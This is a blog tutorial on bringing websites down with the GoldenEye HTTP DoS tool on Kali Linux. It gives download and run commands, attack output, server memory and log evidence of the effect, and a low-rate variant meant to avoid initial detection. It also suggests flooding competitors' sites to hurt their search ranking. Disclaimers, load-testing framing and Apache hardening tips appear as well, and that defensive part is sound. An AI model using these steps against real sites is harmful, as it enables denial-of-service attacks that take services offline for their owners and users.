DoS website in Kali Linux using GoldenEye

Please note: following info is for educational purposes only! HaCOder doesn’t take responsibility for you!

I’ve talked about testing few DoS tools that can put heavy load on HTTP servers in order to bring them to their knees by exhausting resource pools. GoldenEye is the first of those tools and it is one of the newest I discovered in GitHub. You can DoS websites with GoldenEye and bring it down almost within 30 seconds depending on how big their memory pool is. Of course, it wont work on protected servers and servers behind a proper WAF, IDS, but this is a great tool to test your own Web Server for load testing and amend your iptables/Firewall rules accordingly.

You can also DoS using hping3 to simulate similar attacks or PHP exploit to attack WordPress websites. There’s also few great tools that will allow you view live DDoS attacks maps worldwide in almost realtime.
Details for GoldenEye tool is listed below:

• Tool Name: GoldenEye
• Author: Jan Seidl
• Website: http://wroot.org/

From GoldenEye’s writer’s post:

1. This tool is meant for research purposes only and any malicious usage of this tool is prohibited.
2. GoldenEye is an python app for SECURITY TESTING PURPOSES ONLY!
3. GoldenEye is a HTTP DoS Test Tool.
4. Attack Vector exploited: HTTP Keep Alive + NoCache

Types of DoS or DDoS attacks

Let’s go over some very basic info regarding DoS or DDoS attacks. There are basically three types of DoS and DDoS attacks:

1. Application layer DoS and DDoS attacks
2. Protocol layer DoS and DDoS attacks
3. Volume-based DoS and DDoS attacks

Application layer DoS and DDoS attacks

Application-layer DoS and DDoS attacks are attacks that target Windows, Apache, OpenBSD, or other software vulnerabilities to perform the attack and crash the server.

Protocol layer DoS and DDoS attacks

A protocol DoS and DDoS attacks is an attack on the protocol level. This category includes Synflood, Ping of Death, and more.

Volume-based DoS and DDoS attacks attacks

This type of DoS and DDoS attacks includes ICMP floods, UDP floods, and other kind of floods performed via spoofed packets.

The word DoS and DDoS is used loosely as when you attack from a single machine, it’s usually considered as a DoS attack. Multiply a single attacker from a botnet (or a group) then it becomes a DDoS attack. There are many explanations to it, but just know that no matter which type of attack it is, they are equally detrimental for a server/network.

GoldenEye Help Menu- Click to expand

Download GoldenEye

I prefer to make a folder for everything. I will just do that. You do what you need to do.

root@kali:~# mkdir GoldenEye
root@kali:~# 
root@kali:~# cd GoldenEye/
root@kali:~/GoldenEye# 
root@kali:~/GoldenEye# wget https://github.com/jseidl/GoldenEye/archive/master.zip
root@kali:~/GoldenEye#

So I made a folder named ‘GoldenEye‘ and changed directory to that. Then usedwget to pull down the master archive.

Once download completes, unzip the master.zip file.

root@kali:~/GoldenEye# unzip master.zip

This creates a new folder named GoldenEye-master.

root@kali:~/GoldenEye# 
root@kali:~/GoldenEye# ls
GoldenEye-master master.zip
root@kali:~/GoldenEye# 
root@kali:~/GoldenEye# cd GoldenEye-master/
root@kali:~/GoldenEye/GoldenEye-master# 
root@kali:~/GoldenEye/GoldenEye-master# ls
goldeneye.py README.md res util
root@kali:~/GoldenEye/GoldenEye-master#

Run GoldenEye – DoS website

This is rather easy. Following is the usage of goldeneye.py.

USAGE: ./goldeneye.py <url> [OPTIONS]

 OPTIONS:
    Flag           Description                     Default
    -u, --useragents   File with user-agents to use                     (default: randomly generated)
    -w, --workers      Number of concurrent workers                     (default: 50)
    -s, --sockets      Number of concurrent sockets                     (default: 30)
    -m, --method       HTTP Method to use 'get' or 'post'  or 'random'  (default: get)
    -d, --debug        Enable Debug Mode [more verbose output]          (default: False)
    -h, --help         Shows this help

You should schedule and announce your test window so users are aware of the possibility of an outage. Often simulations result in actual failures.

UNDER NO CIRCUMSTANCES SHOULD YOU RUN A DOS SIMULATION/TEST ATTACK AGAINST YOUR ENVIRONMENT WITHOUT FIRST NOTIFYING YOUR HOSTING PROVIDER. THIS IS ESPECIALLY TRUE FOR EXTERNAL / FULL STACK TESTS THAT WILL BE GOING THROUGH YOUR PROVIDER’S NETWORK.

Depending on your Linux, Windows or Mac distribution, (any OS that supports Python would do), you just use the following command:

root@kali:~/GoldenEye/GoldenEye-master# ./goldeneye.py http://www.goldeneyetestsite.com/
(or)
sudo ./goldeneye.py http://www.goldeneyetestsite.com/
(or)
python goldeneye.py http://www.goldeneyetestsite.com/

Depending on where you’ve saved the files, adjust your path and command.

Following is taken from my tests:

The attack

root@kali:~/GoldenEye/GoldenEye-master# ./goldeneye.py http://10.0.0.101/ 

GoldenEye v2.1 by Jan Seidl <jseidl@wroot.org>

Hitting webserver in mode 'get' with 10 workers running 500 connections each. Hit CTRL+C to cancel.
^CCTRL+C received. Killing all workers
Shutting down GoldenEye
root@kali:~/GoldenEye/GoldenEye-master#

The whole attack lasted only 30 seconds.

The result

This is what I’ve seen in the server end

Before attack

root@someserver [~]# free -m
total used free shared buffers cached
Mem: 1024 713 302 49 9 150
-/+ buffers/cache: 552 1001
Swap: 9990 40 160

root@someserver [~]# pgrep httpd | wc -l
11

I had a massive pool of free memory and just 11 httpd workers.

After attack

root@serv1 [~]# free -m
 total used free shared buffers cached
Mem: 1024 101 90 49 9 150
-/+ buffers/cache: 3544 190
Swap: 990 40 150
root@someserver [~]# pgrep httpd | wc -l
174

I’ve now got just 101M free memory and 174 httpd workers.

Took only 15 seconds to push this server to it limit. Next we look analyse the attack that reveals interesting outcomes achieved by this DoS tool.

Analysis of the attack

Here’s the log from server end (I’ve replaced real IP with 127.0.0.1)

127.0.0.1 - - [14/Nov/2014:12:27:04 +1100] "GET /?EJNXO8HDpl=EwMajNhKxa&bxp=EtLn1&Uyb=nfs3I57ETsUtoNRo&6REd1geaR0=sFNMbxOc7e63XANWEVy HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (compatible; MSIE 6.1; Linux x86_64; .NET CLR 3.0.23444; X11)"
127.0.0.1 - - [14/Nov/2014:12:27:04 +1100] "GET /?UrHk=fKtKtWeNbLBN&csG7UX5=Ki6fUcuE5XEkJ&8DySEKmhO=LSMj3ETBpaX03mChRc&5IO=2EwW HTTP/1.1" 200 14137 "http://www.bing.com/nlkgkM" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_5_1) AppleWebKit/536.2 (KHTML, like Gecko) Chrome/24.0.1831.78 Safari/535.36"
127.0.0.1 - - [14/Nov/2014:12:27:05 +1100] "GET /?aPI=KbwATrwa8H3ukQ&orBIDTNE=sLPeOsAykH&127f5U=EIxk3Tffk02Fgpdpx&HVorln=rbqB&svTJYQJb=FX2fuRV HTTP/1.1" 200 14159 "http://www.mysite.com/8pxaIa" "Mozilla/5.0 (Linux i386; X11) AppleWebKit/536.22 (KHTML, like Gecko) Chrome/28.0.587.10 Safari/536.31"
127.0.0.1 - - [14/Nov/2014:12:27:01 +1100] "GET /?gtVwWdM6kC=fI2pKwLaw&lUXL1=L54q1i8oRmPGs7QwdRk8 HTTP/1.1" 200 14090 "http://www.baidu.com/mS6f3Rth?15vTPOgS=gmunmncva7VmH542b&7uWmMCM=diXiLQYHm4ltd8&bqCiNt=YrNGj20&rVYVD=pBQATyepegya&OLQgK4ie2=3oIcbCB&Qtn5viuw=n4iSJxaPPXR0pshPQkh&em8Pk=5oYUVYTCaSx5Y8P33y5" "Mozilla/5.0 (Windows; U; MSIE 10.0; Linux x86_64; .NET CLR 1.1.15295; X11)"
127.0.0.1 - - [14/Nov/2014:12:27:01 +1100] "GET /?bftxjXs=qH8No3I7a&xSM=jPo2kMHPE HTTP/1.1" 200 14073 "-" "Mozilla/5.0 (Linux x86_64; X11) AppleWebKit/537.29 (KHTML, like Gecko) Chrome/17.0.1100.100 Safari/535.25"

Just looking at the logs, you can see that each line contains a different GET request with different strings and in some cases, refers to BING, BAIDU or some random search engine.

So what happens when your Web Server see’s this attack? It analyzes the incoming traffic, checks the requested URL, source address and Referrer and allow it with HTTP 200 OK. Why? Because each browser was different. I’ve highlighted some parts in RED.

This tool was designed smartly so that any server would think there are all different users trying to browse from a single IP(maybe a Proxy IP from a large organization?) with different browser (Firefox, Chrome, MSIE, Safari etc.), different Operating Systems (Mac, Linux, Windows etc.) and they even arrived via different referrer. Well, maybe the requested URL was incorrect, but a normal Web Server would either allow it, redirect it to an error page with all while the connection being left open (i.e. Apache worker/socket). A standard web server usually allows X number of concurrent users from the same IP, and with that many open connection/used socket, this type of attack puts a heavy pressure on the server and any subsequent users gets an error (HTTP 503 or similar). So the attacker with a few random proxy/VPN, can exhaust server resources quickly. He can even slow down the attack per IP to avoid initial detection:

root@kali:~/GoldenEye/GoldenEye-master# ./goldeneye.py http://www.goldeneyetestsite.com/ -w 10 -s 10 -m random

The above command uses

-w = 10 workers

-s = 10 simultenious connections

-m = random, a mix of GET and POST

A perfect DoS!

An interesting observation with Google and GoldenEye

I’ve tried this live just to see how a real web server behaves. Interestingly, I found that Google Analytics thinks this is real traffic and adds the flooder’s (though from same IP but with different referrer and browsers makes Google think that they are separate users) connections to it’s statistics. I can think of two ways to exploit it:

• Get a higher ratings in Google as it would assume you are getting legit traffic.
• If Google eventually can put a logic behind it, then still flood a competitors website to lower it in Google’s ranking.

I guess it cuts both ways.

Block/defend against GoldenEye attack

Following suggestions would work well when you’re using Apache:

1. Lower per IP connection (usually it 300 per IP for Apache)
2. Edit connection per IP threshold.
3. Disable KeepAlive and lower Connection Timeout settings (default is 300)
4. If you’re hosted on a Shared server, contact SysAdmin. If they can’t defend this simple attack, just migrate to a better hosting company.
5. Use a Web application Firewall (WAF).
6. White-list incoming queries and this attack will have no affect on your server.
7. NGINX and Node.js seems to work better against these type of attacks.

Conclusion

GoldenEye seems like a superset (or similar) of HTTP Flooder. Both works in similar ways but GoldenEye’s NoCache and KeepAlive makes a big difference. Also, it uses an interesting way of mix-matching Browser, Operating System and Referrer which can be deceptive to a Firewall.

All in all, it’s a good tool to load test your personal website (with permission from your Hosting company), your corporate website and any web application that allows incoming GET or POST request. Use it to update your Firewall rules, Application Firewall and thus avoid future attacks.